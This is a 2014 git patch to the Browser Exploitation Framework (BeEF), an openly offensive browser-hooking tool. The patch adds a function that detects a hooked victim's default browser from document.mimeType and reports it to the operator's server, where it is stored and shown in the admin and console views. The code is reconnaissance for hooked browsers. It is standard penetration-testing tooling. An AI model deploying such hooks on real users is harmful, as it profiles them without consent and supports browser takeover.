From 7d6eb4b7148971088b0dc086052e786abff47999 Mon Sep 17 00:00:00 2001 From: bcoles Date: Thu, 20 Mar 2014 02:49:08 +1030 Subject: [PATCH] Add 'beef.os.getDefaultBrowser' --- core/main/client/browser.js | 2 ++ core/main/client/os.js | 18 ++++++++++++++++++ core/main/handlers/browserdetails.rb | 4 ++++ .../admin_ui/controllers/modules/modules.rb | 1 + extensions/console/lib/shellinterface.rb | 1 + modules/host/detect_default_browser/command.js | 18 +----------------- 6 files changed, 27 insertions(+), 17 deletions(-) diff --git a/core/main/client/browser.js b/core/main/client/browser.js index f68ab97e1..41331fe18 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -1841,6 +1841,7 @@ beef.browser = { var browser_plugins = beef.browser.getPlugins(); var date_stamp = new Date().toString(); var os_name = beef.os.getName(); + var default_browser = beef.os.getDefaultBrowser(); var hw_name = beef.hardware.getName(); var cpu_type = beef.hardware.cpuType(); var touch_enabled = (beef.hardware.isTouchEnabled()) ? "Yes" : "No"; @@ -1888,6 +1889,7 @@ beef.browser = { if (hostport) details['HostPort'] = hostport; if (browser_plugins) details['BrowserPlugins'] = browser_plugins; if (os_name) details['OsName'] = os_name; + if (default_browser) details['DefaultBrowser'] = default_browser; if (hw_name) details['Hardware'] = hw_name; if (cpu_type) details['CPU'] = cpu_type; if (touch_enabled) details['TouchEnabled'] = touch_enabled; diff --git a/core/main/client/os.js b/core/main/client/os.js index a34d9e742..8b82fef96 100644 --- a/core/main/client/os.js +++ b/core/main/client/os.js @@ -8,6 +8,24 @@ beef.os = { ua: navigator.userAgent, + /** + * Detect default browser (IE only) + * Written by unsticky + * http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/ + */ + getDefaultBrowser: function() { + var mt = document.mimeType; + var result = "Unknown" + if (mt) { + if (mt == "Safari Document") result = "Safari"; + if (mt == "Firefox HTML Document") result = "Firefox"; + if (mt == "Chrome HTML Document") result = "Chrome"; + if (mt == "HTML Document") result = "Internet Explorer"; + if (mt == "Opera Web Document") result = "Opera"; + } + return result; + }, + isWin311: function() { return (this.ua.match('(Win16)')) ? true : false; }, diff --git a/core/main/handlers/browserdetails.rb b/core/main/handlers/browserdetails.rb index bfb5de244..6187a3794 100644 --- a/core/main/handlers/browserdetails.rb +++ b/core/main/handlers/browserdetails.rb @@ -166,6 +166,10 @@ module BeEF self.err_msg "Invalid operating system name returned from the hook browser's initial connection." end + # get and store default browser + default_browser = get_param(@data['results'], 'DefaultBrowser') + BD.set(session_id, 'DefaultBrowser', default_browser) + # get and store the hardware name hw_name = get_param(@data['results'], 'Hardware') if BeEF::Filters.is_valid_hwname?(hw_name) diff --git a/extensions/admin_ui/controllers/modules/modules.rb b/extensions/admin_ui/controllers/modules/modules.rb index b76ec32a7..79faddb6f 100644 --- a/extensions/admin_ui/controllers/modules/modules.rb +++ b/extensions/admin_ui/controllers/modules/modules.rb @@ -104,6 +104,7 @@ class Modules < BeEF::Extension::AdminUI::HttpController ['Host', 'Operating System', 'OsName'], ['Host', 'Hardware', 'Hardware'], ['Host', 'CPU', 'CPU'], + ['Host', 'Default Browser', 'DefaultBrowser'], ['Host', 'Screen Size', 'ScreenSize'], ['Host', 'Touch Screen', 'TouchEnabled'] ] diff --git a/extensions/console/lib/shellinterface.rb b/extensions/console/lib/shellinterface.rb index 56a69b3b2..7ff0d29df 100644 --- a/extensions/console/lib/shellinterface.rb +++ b/extensions/console/lib/shellinterface.rb @@ -320,6 +320,7 @@ class ShellInterface ['Host', 'Operating System', 'OsName'], ['Host', 'Hardware', 'Hardware'], ['Host', 'CPU', 'CPU'], + ['Host', 'Default Browser', 'DefaultBrowser'], ['Host', 'Screen Size', 'ScreenSize'], ['Host', 'Touch Screen', 'TouchEnabled'] ] diff --git a/modules/host/detect_default_browser/command.js b/modules/host/detect_default_browser/command.js index cba07077f..14a98ef2d 100644 --- a/modules/host/detect_default_browser/command.js +++ b/modules/host/detect_default_browser/command.js @@ -3,25 +3,9 @@ // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // - -// Written by unsticky -// For more information see http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/ - beef.execute(function() { - var mt = document.mimeType; - - if (mt) { - if (mt == "Safari Document") result = "Safari"; - if (mt == "Firefox HTML Document") result = "Firefox"; - if (mt == "Chrome HTML Document") result = "Chrome"; - if (mt == "HTML Document") result = "Internet Explorer"; - if (mt == "Opera Web Document") result = "Opera"; - } else { - result = "Unknown"; - } - - beef.net.send("<%= @command_url %>", <%= @command_id %>, "browser="+result); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "browser="+beef.os.getDefaultBrowser()); });